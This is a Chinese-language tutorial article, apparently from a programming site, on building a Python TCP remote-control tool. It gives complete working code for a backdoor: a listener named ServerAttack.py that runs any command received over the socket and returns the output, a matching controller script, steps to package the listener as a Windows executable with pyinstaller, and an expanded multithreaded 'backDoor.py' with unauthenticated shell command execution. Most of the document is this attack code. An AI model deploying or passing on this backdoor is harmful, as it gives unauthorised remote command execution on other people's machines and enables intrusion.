Python實現Socket通信建立TCP反向連接
前言
本文將記錄學習基於 Socket 通信機制建立 TCP 反向連接,借助 Python 腳本實現主機遠程控制的目的。
我們在傳輸數據時,可以隻使用(傳輸層)TCP/IP 協議,但是那樣的話,如果沒有應用層,便無法識別數據內容,如果想要使傳輸的數據有意義,則必須使用到應用層協議,應用層協議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應用層協議。而 Socket 是對 TCP/IP 協議的封裝,Socket 本身並不是協議,而是一個調用接口(API),通過 Socket 我們才能使用 TCP/IP 協議。
HTTP 連接與 Socket 連接的區別
- HTTP 是短連接,Socket (基於 TCP 協議的)是長連接。盡管 HTTP1.1 開始支持持久連接,但仍無法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手,除非一方主動斷開,否則連接狀態一直保持。
- HTTP連接,服務端無法主動發消息,Socket 連接,雙方請求的發送無先後限制。這點就比較重要瞭,因為它將決定二者分別適合應用在什麼場景下。HTTP 采用“請求-響應”機制,在客戶端還沒發送消息給服務端前,服務端無法推送消息給客戶端。必須滿足客戶端發送消息在前,服務端回復在後。Socket 連接雙方類似 peer2peer 的關系,一方隨時可以向另一方喊話。
什麼時候該用 HTTP,什麼時候該用 Socket?
- 用 HTTP 的情況:雙方不需要時刻保持連接在線,比如客戶端資源的獲取、文件上傳等。
- 用 Socket 的情況:大部分即時通訊應用(QQ、微信)、聊天室、蘋果APNs等。
Python3 關於 Socket 網絡編程的相關語法知識可以參見:Python3 網絡編程。
遠程控制
下面開始來看看如何借助 Python 實現對目標主機的遠程控制。
腳本編寫
ServerAttack.py 受控端腳本如下:
import socket import os ip = "" # 空表示可連接所有主機 port = 5555 # 設置端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s 使用基於tcp協議的網絡套接字 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 關閉後不需要保存狀態可以立即開啟 s.bind((ip, port)) # 對象s 開始綁定ip和端口 s.listen(10) # 啟動監聽狀態,設置隊列中等待連接服務器的最大請求數10 conn, addr = s.accept() # 當與別人建立連接 addr,conn 變量分別存對方ip和連接的對象 print("已建立遠程連接:", addr) # 顯示對方地址 while True: data = conn.recv(1024) # 接收對方字符串 #如果對方不發數據會卡住 if data == b"q": # 接收到程序終止信號則中斷連接 break data = str(data, encoding="utf8") # 將數據轉換為字符串類型 print("遠程主機請求的命令:", data) f = os.popen(data) # 可以將命令的內容以讀取的方式返回 data2 = f.read() if data2 == "": conn.send(b"finish") else: conn.send(bytes(data2, encoding="utf8")) # 發送命令運行結果 conn.close() # 斷開連接 s.close() # 關閉套結字
ClientAttack.py 控制端腳本如下:
import socket ip = "192.168.146.126" # 對方服務器ip地址 port = 5555 # 對方服務器的端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s使用基於tcp協議的網絡套接字 s.connect((ip, port)) # 創建socket連接 while True: data = input("請輸入命令:") data = bytes(data, encoding="utf8") s.send(data) # 發送數據給對方 data2 = s.recv(1024) # 接收返回的數據 print(str(data2, encoding="utf8")) if data == b"q": break s.close()
效果演示
1、Linux 遠控
將 ServerAttack.py 受控端腳本拷貝至 Linux 系統並運行,同時 Win10 物理機運行 ClientAttack.py 控制端腳本,可實現遠程連接控制:
2、Windows 遠控
使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執行文件(pyinstaller -F ServerAttack.py
),然後在 Win7 虛擬機運行生成的 ServerAttack.exe 文件,效果如下:
腳本優化
下面使用多線程、腳本參數設置、腳本幫助提示、客戶端服務端代碼集成來優化上述實現遠程控制的腳本。
getopt ()
Python 中 getopt 模塊是專門用來處理命令行參數的,函數格式:
getopt(args, shortopts, longopts = [])
參數解析如下:
參數 | 釋義 | 補充 |
---|---|---|
args | 要解析的參數列表 | 一般是sys.argv[1:] ,表示獲取的參數不包括當前執行的 python 腳本名稱 |
shortopts | 要識別的短格式 (-) 選項字符串,如果後接: 表示需要給定參數 |
如ab:c: ,表示識別 -a, -b 和 -c 的短選項,其中 -b 和 -c 需要後接參數 |
longopts = [] | 要識別的長格式(–)選項,如果後接= 表示需要給定參數 |
如[“help”, “user=”, “password=”],表示識別--help, --user=root, --password=123456 的長選項 |
函數返回值由兩個元素組成:
- 第一個是 (option, value) 元組的列表,(option, value) 元組中的 option 表示包含
-或--
前綴的選項,value 表示該 option 對應的參數,可以為空字符串表示無參數; - 第二個是 args 剝離短選項及其參數和長選項及其參數之後剩餘的參數列表。
完整代碼
import socket import getopt import sys import subprocess from threading import Thread def main(): target = "" # 目標IP port = 0 # 目標端口 listen = False help = False # 利用getopt模塊從命令行獲取參數,sys.argv[1:]可以過濾掉第一個參數(第一個參數是腳本的名稱,它不應該作為參數進行解析) opts, args = getopt.getopt(sys.argv[1:], "t:p:hl") for o, a in opts: if o == "-t": target = a elif o == "-p": port = int(a) elif o == "-h": help = True elif o == "-l": listen = True else: # 斷言,傳入的參數有誤 assert False, "Unhandled Option" # 輸出幫助文檔 if help: usage() # 獲分客戶端和服務端 if listen: server_handle(port) else: client_handle(target, port) # 受控端 def server_handle(port): # 創建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 綁定 server.bind(('0.0.0.0', port)) # 監聽 server.listen(10) print("[*] Listening on 0.0.0.0:%d" % port) while True: client_socket, addr = server.accept() print("[*] Accept connection from %s:%d" % (addr[0], addr[1])) t = Thread(target=run_command, args=(client_socket, server,)) t.start() # 控制端,發送命令,接收受控端命令行的回顯內容 def client_handle(target, port): # 創建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 連接服務器 client.connect((target, port)) # 接收數據 while True: recv_len = 1 # 接收到的數據是utf-8 resBuffer = "".encode('utf-8') while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len < 4096: break # 在windows下中文會亂碼,所以轉成GBK print(resBuffer.decode('gbk'), end="") # 接收命令,發送命令需要將命令轉成byte,並且編碼是utf-8 buffer = input("") if buffer.encode('utf-8') == b"quit": break buffer += "\n" client.send(buffer.encode('utf-8')) client.close() # 執行命令涵數 def run_command(client_socket,s): while True: # 發送命令給客戶端 client_socket.send(b"shell_>") # 定義接收命令byte類型變量 cmd_buffer = "".encode('utf-8') # 接收客戶端發過來的消息,直到預到換行,代表客戶端消息輸入完成 while b"\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) if cmd_buffer == b"quit": break # 將完整的byte變量消息轉成字符串 cmd_buffer = cmd_buffer.decode() try: # 通過隧道執行命令並以byte數據類型返回輸出的數據 out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 將返回的數據發送給客戶端 client_socket.send(out) except: client_socket.send(b"faild to execute the command") client_socket.close() # 斷開連接 s.close() # 關閉套結字 exit(0) # 輸出幫助信息 def usage(): print("help info : python backDoor.py -h") print("client : python backDoor.py -t [target] -p [port]") print("server : python backDoor.py -lp [port]") print("Exit :Input quit to exit ") sys.exit() if __name__ == "__main__": main()
效果演示
獲取腳本幫助提示、進行遠程連接:
到此這篇關於Python實現Socket通信建立TCP反向連接的文章就介紹到這瞭,更多相關Python TCP反向連接內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- Python 基於TCP 傳輸協議的網絡通信實現方法
- python利用socket實現客戶端和服務端之間進行通信
- Python中的socket網絡模塊介紹
- Python實現UDP與TCP通信的示例詳解
- Python網絡編程之socket與socketserver